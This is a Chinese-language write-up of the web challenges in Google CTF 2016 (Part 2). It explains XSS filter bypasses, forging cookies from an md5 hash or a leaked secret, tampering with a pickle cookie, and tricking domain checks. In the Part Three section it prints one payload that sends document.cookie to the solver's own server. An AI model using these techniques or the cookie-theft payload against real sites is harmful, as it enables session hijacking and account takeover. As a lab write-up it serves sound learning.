Google CTF 2016 Writeup - Part 2
CTFsNo Comment接上篇
Web
Wallowing Wallabies - Part One
题目给出一个网站,首页什么链接都没有,我们查看其 Robots.txt ,找到一个可以访问的地址
这里有输入框,第一题非常简单,直接插入 script src = xxx 即可完成 XSS,然后收获 Cookie。
我们把 Cookie 里面的 base64 解码一下,里面 allow 的还是 /deep/blue-sea-team/vendor
将 Cookie 放到浏览器里面,访问这个地址,即可获得 Flag
Wallowing Wallabies - Part Two
上一个题目解出来之后,可以看到有一个 Messaging 按钮,它会过滤掉 script src ,也会过滤掉 < /script
<script test asdf> //这里 Script 标签会被过滤掉,所以我们给他添加几个属性,中间再换行一下,就没事了 // 这里放 XSS Payload
因为结束标签会被过滤掉,而结束标签不能换行,所以我们用 /* 注释掉后面的内容,到页面尾部的时候借助网页上原有的 Script 标签完成 XSS。
同样的,我们解码 XSS 得到的 Cookie 中 base64 的部分,找到 URL,设置 Cookie 然后放到浏览器里访问,得到 Flag。
Wallowing Wallabies - Part Three
上一个题目解出来之后,可以看到提交框,又是一个 XSS,经过测试过滤掉了所有的点(dot),怎么办呢?
var i = document['createElement']('img'); i['src'] = String['fromCharCode'](104,116,116,112,你的XSS服务器地址ASCII码) + document['cookie']; document['body']['appendChild'](i);
获得 Cookie 之后,得到这一系列的最终 Flag,是一个 Android 题的 Hint,然而作为一个 iOS 用户以及 Java Hater,完全不会。。。
Ernst Echidna
题目给出一个网站,和一个提示查看 Robots.txt
查看 Robots.txt 发现是 /admin,返回首页注册一个帐号
注册之后,Cookie 里面有一个 md5-hash,我们猜测它是用户名的 hash
Cookie 改成 admin 的 md5 ,然后访问 /admin ,获得 Flag
Dancing Dingoes
题目给出一个网站,用户名和密码,要获取 admin 权限。
使用给定的用户名和密码登录,F12 抓包发现登录过程有一个域名参数
我们随便改一改,发现报错了,似乎用户信息是在这里读取的
获得 API 响应格式
在自己的服务器上放一个 userid : admin ,然后修改登录请求的域名,即可成功登录 admin 帐号,得到 Flag
Purple Wombats
题目给出一个网站,查看其源代码,有一个 GitHub 地址
查看 main.py ,发现登录被关掉了,但是泄漏了配置文件里的 cookie secret
我们使用 Google Cloud Engine SDK 来在本地搭建一个网站,然后给自己设置一个 secure cookie,复制到目标域名
访问 /flags 即可获得 Flag
Spotted Quoll
服务器会设置一段 Base64 Cookie,经过解码是 Python 的 Pickle,直接修改用户名为 admin 即可获得 Flag。
PS:还可以利用 Pickle 来远程执行代码。
Weedy Sea Dragon
打开网页会自动用 Google 帐号登录,然后告诉你你没有权限访问。
我也不知道它是验证邮件地址还是验证后面的域名,直觉告诉我:它只是判断了是否包含。
我们打开域名管理,新增一个 ctfcompetition.com.yourdomain 的 MX 记录,在服务器上监听 25 端口。
用 ctfcompetition.com@ctfcompetition.com.yourdomain 注册一个新的 Google 帐号,然后再登录目标页面,即可获得 Flag。
水平有限,P2 就到这里了,明天发 Part 3
UPDATE:阅读 Part 3